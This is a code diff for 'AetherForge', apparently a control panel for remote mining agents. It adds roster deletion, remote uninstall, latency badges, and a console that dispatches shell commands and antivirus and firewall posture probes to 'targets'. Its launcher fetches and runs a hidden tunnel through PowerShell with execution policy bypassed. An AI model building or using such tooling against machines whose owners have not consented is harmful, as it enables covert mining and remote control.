const res = await fetch(`${API_BASE}${url}`, {
...rest,
signal: controller.signal,
headers: {
'Content-Type': 'application/json',
...authHeaders(),
...(extraHeaders as Record<string, string> | undefined),
},
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} finally {
clearTimeout(timer);
}
return res.json();
}
export const api = {
@@ -154,6 +164,15 @@ export const api = {
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
deleteAgent: (id: string) =>
fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),
bulkDeleteAgents: (ids: string[]) =>
fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
method: 'POST',
body: JSON.stringify({ ids }),
}),
createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', {
method: 'POST',

View File

@@ -2,6 +2,17 @@ import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import LatencyBadge from './LatencyBadge';
function formatRelTime(iso: string): string {
const diff = Date.now() - new Date(iso).getTime();
const mins = Math.floor(diff / 60000);
if (mins < 2) return 'just now';
if (mins < 60) return `${mins}m ago`;
const hrs = Math.floor(mins / 60);
if (hrs < 24) return `${hrs}h ago`;
return `${Math.floor(hrs / 24)}d ago`;
}
interface Props {
agent: Agent;
@@ -64,7 +75,10 @@ export default function AgentListItem({
</span>
)}
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
<LatencyBadge ms={agent.status === 'online' ? agent.latency_ms : undefined} />
</div>
</div>
{(agent.tags?.length ?? 0) > 0 && (
@@ -78,7 +92,12 @@ export default function AgentListItem({
<div className="agent-list-details">
<span>{formatHashrate(agent.hashrate_15m)}</span>
<span>{agent.ip || '—'}</span>
{!expanded && <span className="form-hint">click for details</span>}
{agent.status !== 'online' && agent.last_seen && (
<span className="form-hint" title={new Date(agent.last_seen).toLocaleString()}>
last seen {formatRelTime(agent.last_seen)}
</span>
)}
{!expanded && agent.status === 'online' && <span className="form-hint">click for details</span>}
</div>
{!expanded && agent.notes?.trim() && (

View File

@@ -96,7 +96,16 @@ export default function FleetToolbar({
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button
type="button"
className="btn btn-sm"
disabled={bulkBusy}
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => onBulkAction('delete')}
>
🗑 Delete selected
</button>
</div>
)}
</div>

View File

@@ -0,0 +1,83 @@
/**
* LatencyBadge — 4-bar cell-signal style indicator for WebSocket RTT.
*
* Bar fill thresholds:
* 4 bars (green) : < 50 ms — excellent
* 3 bars (cyan) : < 150 ms — good
* 2 bars (amber) : < 400 ms — fair
* 1 bar (red) : ≥ 400 ms — poor
* 0 bars (grey) : no data — waiting for first pong
*/
interface Props {
ms?: number;
/** Compact variant — bars only, no ms label */
compact?: boolean;
}
function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
if (ms < 50) return 4;
if (ms < 150) return 3;
if (ms < 400) return 2;
return 1;
}
const LEVEL_COLORS: Record<number, string> = {
4: '#39ff14', // neon green
3: '#00f5ff', // cyan
2: '#ffb020', // amber
1: '#ff4466', // red
0: '#444', // grey
};
const BAR_HEIGHTS = [5, 8, 11, 14]; // px, bottom-aligned
export default function LatencyBadge({ ms, compact = false }: Props) {
const level = ms !== undefined ? latencyLevel(ms) : 0;
const color = LEVEL_COLORS[level];
const label = ms !== undefined ? `${ms}ms` : '—';
return (
<span
title={ms !== undefined ? `Latency: ${ms} ms` : 'Latency unknown — waiting for ping'}
style={{
display: 'inline-flex',
alignItems: 'flex-end',
gap: '2px',
verticalAlign: 'middle',
lineHeight: 1,
}}
>
{BAR_HEIGHTS.map((h, i) => {
const filled = (i + 1) <= level;
return (
<span
key={i}
style={{
display: 'inline-block',
width: 3,
height: h,
borderRadius: 1,
background: filled ? color : 'rgba(255,255,255,0.12)',
transition: 'background 0.4s ease',
}}
/>
);
})}
{!compact && ms !== undefined && (
<span
style={{
fontSize: '0.7rem',
fontFamily: 'monospace',
color,
marginLeft: 3,
lineHeight: 1,
letterSpacing: '-0.02em',
}}
>
{label}
</span>
)}
</span>
);
}

View File

@@ -18,8 +18,6 @@ interface PoolPresetPickerProps {
pass: string;
backups?: BackupPool[];
onChange: (next: PoolForgeFields) => void;
/** Show manual host/port fields below presets (Forge advanced). */
showManualFields?: boolean;
}
export default function PoolPresetPicker({
@@ -29,7 +27,6 @@ export default function PoolPresetPicker({
pass,
backups = [],
onChange,
showManualFields = false,
}: PoolPresetPickerProps) {
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
const detected = detectPresetIds(host, port, tls, backups);
@@ -185,60 +182,6 @@ export default function PoolPresetPicker({
</div>
)}
{showManualFields && (
<div className="pool-preset-manual form-row">
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input mono"
value={host}
onChange={(e) =>
onChange({
pool_host: e.target.value,
pool_port: port,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
min={1}
max={65535}
value={port}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: e.target.valueAsNumber || 3333,
pool_tls: tls,
backup_pools: backups,
})
}
/>
</div>
<label className="checkbox-label" style={{ alignSelf: 'flex-end' }}>
<input
type="checkbox"
className="checkbox"
checked={tls}
onChange={(e) =>
onChange({
pool_host: host,
pool_port: port,
pool_tls: e.target.checked,
backup_pools: backups,
})
}
/>
<span>TLS</span>
</label>
</div>
)}
</div>
);
}

View File

@@ -57,9 +57,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
First run: password is in the LAUNCH console or <code className="mono-sm">data\login-credentials.json</code> next to the server data folder.
</p>
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>

View File

@@ -105,6 +105,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
);
break;
}
case 'agent_deleted': {
const { agent_id } = msg.payload as { agent_id: string };
setAgents((prev) => prev.filter((a) => a.id !== agent_id));
break;
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) =>
@@ -152,6 +157,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
}
: a
)

View File

@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
@@ -139,9 +140,19 @@ export default function AgentsPage() {
}
}, [selectedAgent?.id, agentLogs]);
// Sort: online first, then by last_seen desc, then alphabetical
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(agents, filters),
[agents, filters]
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters]
);
const refreshLog = async (refresh = false) => {
@@ -199,10 +210,60 @@ export default function AgentsPage() {
});
}, []);
const handleDeleteAgent = async (agentId: string) => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agentId);
setAgents((prev) => prev.filter((a) => a.id !== agentId));
if (selectedAgent?.id === agentId) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleUninstallAndDelete = async (agent: Agent) => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
@@ -323,16 +384,57 @@ export default function AgentsPage() {
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{selectedAgent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void handleUninstallAndDelete(selectedAgent)}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void handleDeleteAgent(selectedAgent.id)}
title="Remove this machine from the fleet roster permanently"
>
🗑 Delete from Roster
</button>
</div>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
<span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
{selectedAgent.status === 'online' && (
<LatencyBadge ms={selectedAgent.latency_ms} />
)}
</span>
</div>
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
<div className="detail-item">
<span className="detail-label">Hostname</span>
<span className="detail-value mono">{selectedAgent.hostname}</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">Last Seen</span>
<span className="detail-value" title={selectedAgent.last_seen}>
{selectedAgent.last_seen
? new Date(selectedAgent.last_seen).toLocaleString()
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>

View File

@@ -217,9 +217,7 @@
font-family: 'Courier New', monospace;
font-size: 0.7rem;
color: #b8e0d0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
word-break: break-all;
min-width: 0;
}

View File

@@ -300,23 +300,22 @@ export default function BuildManagerPage() {
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
const list = await api.listBuilds();
setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError('');
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally {
setLoading(false);
}
// Load server base URL separately so a slow/hung server-info call
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]);

View File

@@ -207,18 +207,26 @@ export default function BuilderPage() {
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
Promise.all([
api.getConfig(),
api.getServerInfo().catch(() => null),
api.listBuilds().catch(() => []),
])
.then(([config, info, builds]) => {
setCalibrateConfig(config);
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
if (info) {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
} else {
setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
setError('Failed to load server info — is the control server running?');
setError('Failed to load server config — is the control server running?');
})
.finally(() => setLoadingDefaults(false));
}, []);
@@ -1096,7 +1104,6 @@ export default function BuilderPage() {
tls={form.pool_tls}
pass={form.pool_pass || 'x'}
backups={form.backup_pools}
showManualFields={!simpleMode}
onChange={(next) => {
updateField('pool_host', next.pool_host);
updateField('pool_port', next.pool_port);

View File

@@ -3,6 +3,7 @@ import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import { formatHashrate } from '../help/fleetFilters';
import './CruciblePage.css';
@@ -18,6 +19,8 @@ interface TermLine {
text: string;
ts: Date;
success?: boolean;
// Whether this agent was in the active selection when the command was dispatched
targeted?: boolean;
// Structured data for rich terminal renderers
richData?: RichTermData;
}
@@ -314,6 +317,15 @@ export default function CruciblePage() {
const online = (a: Agent) => a.status === 'online';
// Prune selectedIds when agents are removed (e.g. after roster delete).
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
// ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => {
@@ -377,23 +389,22 @@ export default function CruciblePage() {
} catch { /* malformed JSON — fall through to plain text */ }
}
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
if (richData) {
// Single rich-rendered line (table/block replaces raw JSON)
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: '', ts: new Date(),
success: r.success, richData,
success: r.success, richData, targeted,
});
} else {
const msgLines = msg.split('\n').filter(Boolean);
for (const line of msgLines) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: line, ts: new Date(), success: r.success,
isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
});
}
}
@@ -503,19 +514,16 @@ export default function CruciblePage() {
const probePosture = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) { alert('No online agents selected.'); return; }
Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, 'posture').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
})
@@ -523,10 +531,13 @@ export default function CruciblePage() {
);
};
// Fires posture + listen_ports + patch_status in parallel for all selected online nodes.
// Fires posture + listen_ports + patch_status in parallel.
// When agents are selected, targets only selection. Otherwise targets all online.
const scanSelected = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) return;
const tgts = targets ?? (selectedAgents.filter(online).length > 0
? selectedAgents.filter(online)
: agents.filter(online));
if (tgts.length === 0) { alert('No online agents available.'); return; }
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
for (const a of tgts) {
for (const cmd of cmds) {
@@ -536,7 +547,7 @@ export default function CruciblePage() {
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
});
@@ -544,6 +555,9 @@ export default function CruciblePage() {
}
};
// Focused agent — when exactly one is selected show its details prominently.
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
@@ -773,6 +787,7 @@ export default function CruciblePage() {
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span>
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div>
<div className="cn-badges">
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
@@ -866,6 +881,40 @@ export default function CruciblePage() {
)}
</NeonCard>
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
fontSize: '0.85rem',
}}>
<span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
ACTIVE TARGET
</span>
<span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
{platformIcon(focusedAgent.platform)} {focusedAgent.name}
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
{focusedAgent.status !== 'online' && (
<span style={{ color: '#ff6666', fontFamily: 'monospace', fontSize: '0.8rem' }}>
offline commands will fail until it reconnects
</span>
)}
<button
className="button crucible-btn-muted"
style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
onClick={() => setSelectedIds(new Set())}
>
Deselect
</button>
</div>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card" tilt3d={false}>
@@ -903,36 +952,40 @@ export default function CruciblePage() {
<NeonCard accent="amber" className="crucible-actions-card" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
<span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
{selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
</span>
)}
</div>
<div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group">
<span className="cop-label">Posture</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probePosture()}
title="Probe posture (AV, firewall, SSH, patch) on selected nodes"
>
Probe Posture
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={agents.filter(online).length === 0}
onClick={() => probePosture(agents.filter(online))}
title="Probe ALL online nodes at once"
>
Fleet Posture Scan
</button>
<span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn crucible-op-scan"
disabled={selectedIds.size === 0}
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => scanSelected()}
title="Fire posture + listen_ports + patch_status in parallel on selected nodes"
title={selectedIds.size > 0
? `Deep scan ${selectedIds.size} selected node(s): posture + ports + patch`
: 'Deep scan ALL online nodes: posture + ports + patch'}
>
Scan All Selected
{selectedIds.size > 0
? `⬡ Deep Scan (${selectedIds.size} selected)`
: `⬡ Deep Scan Fleet (${agents.filter(online).length} online)`}
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
title="Posture only (AV, firewall, SSH state)"
>
Posture Only
</button>
</div>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group">
<span className="cop-label">SSH</span>
<button
@@ -953,6 +1006,7 @@ export default function CruciblePage() {
</button>
</div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group">
<span className="cop-label">Mining</span>
<button
@@ -960,44 +1014,36 @@ export default function CruciblePage() {
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'resume')))}
>
Resume All
Resume
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => Promise.all(selectedAgents.filter(online).map((a) => api.sendAgentCommand(a.id, 'pause')))}
>
Pause All
Pause
</button>
</div>
<div className="crucible-op-group">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch('whoami', shellType)}
title="Run whoami on selected"
>
whoami
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'Get-ComputerInfo | Select CsName,WindowsVersion,OsArchitecture' : 'uname -a', shellType)}
>
sysinfo
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
title="Network adapter info"
>
ipconfig
</button>
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group">
<span className="cop-label">Shell</span>
<span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button
@@ -1011,6 +1057,7 @@ export default function CruciblePage() {
</div>
</div>
{/* ── Selection chips ──────────────────────────── */}
{selectedIds.size > 0 && (
<div className="crucible-sel-chips">
{selectedAgents.map((a) => {
@@ -1057,10 +1104,12 @@ export default function CruciblePage() {
)}
{termLines.map((line) => {
const color = agentColor(line.agentId, allIds);
const dim = line.targeted === false;
return (
<div
key={line.id}
className={`crucible-term-line ${line.isCmd ? 'cmd-line' : 'out-line'} ${line.success === false ? 'err-line' : ''} ${line.richData ? 'rich-line' : ''}`}
style={dim ? { opacity: 0.45 } : undefined}
>
<span className="ctl-agent" style={{ color }}>
{line.agentName.slice(0, 12).padEnd(12)}

View File

@@ -67,6 +67,10 @@ export interface Agent {
reboot_pending?: boolean;
agent_elevated?: boolean;
services?: AgentService[];
hostname?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
export interface AgentService {

View File

@@ -52,6 +52,7 @@ export interface WSStatsUpdate {
reboot_pending?: boolean;
agent_elevated?: boolean;
services?: AgentService[];
latency_ms?: number;
}
export interface WSCommandResult {

View File

@@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: 5. Configure optional Cloudflare tunnel (foreground process, no service)
:: ----------------------------------------------------------------
set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe"
set "CF_PID_FILE=%ROOT%\data\cloudflared.pid"
set "CF_TUNNEL_TOKEN="
if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%"
if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" (
set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt"
)
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
@@ -118,9 +129,10 @@ set "LAN_IP=localhost"
set "LAN_IP=%LAN_IP: =%"
:: ----------------------------------------------------------------
:: 6. Kill any stale server process
:: 7. Kill any stale server and tunnel processes
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
taskkill /F /IM cloudflared.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
echo.
@@ -136,6 +148,30 @@ echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start optional Cloudflare tunnel for this launcher session only.
if defined CF_TUNNEL_TOKEN (
if not exist "%ROOT%\tools" mkdir "%ROOT%\tools"
if not exist "%CLOUDFLARED_BIN%" (
echo [Tunnel] Downloading cloudflared.exe...
powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }"
)
if exist "%CLOUDFLARED_BIN%" (
del "%CF_PID_FILE%" 2>nul
echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^).
powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id"
if errorlevel 1 (
echo [Tunnel] WARNING: cloudflared failed to start.
) else (
echo [Tunnel] Tunnel process started. It will stop when this launcher exits.
)
) else (
echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped.
)
) else (
echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN.
)
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
@@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%CF_PID_FILE%" (
for /f "usebackq" %%P in ("%CF_PID_FILE%") do (
powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul
)
del "%CF_PID_FILE%" 2>nul
)
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.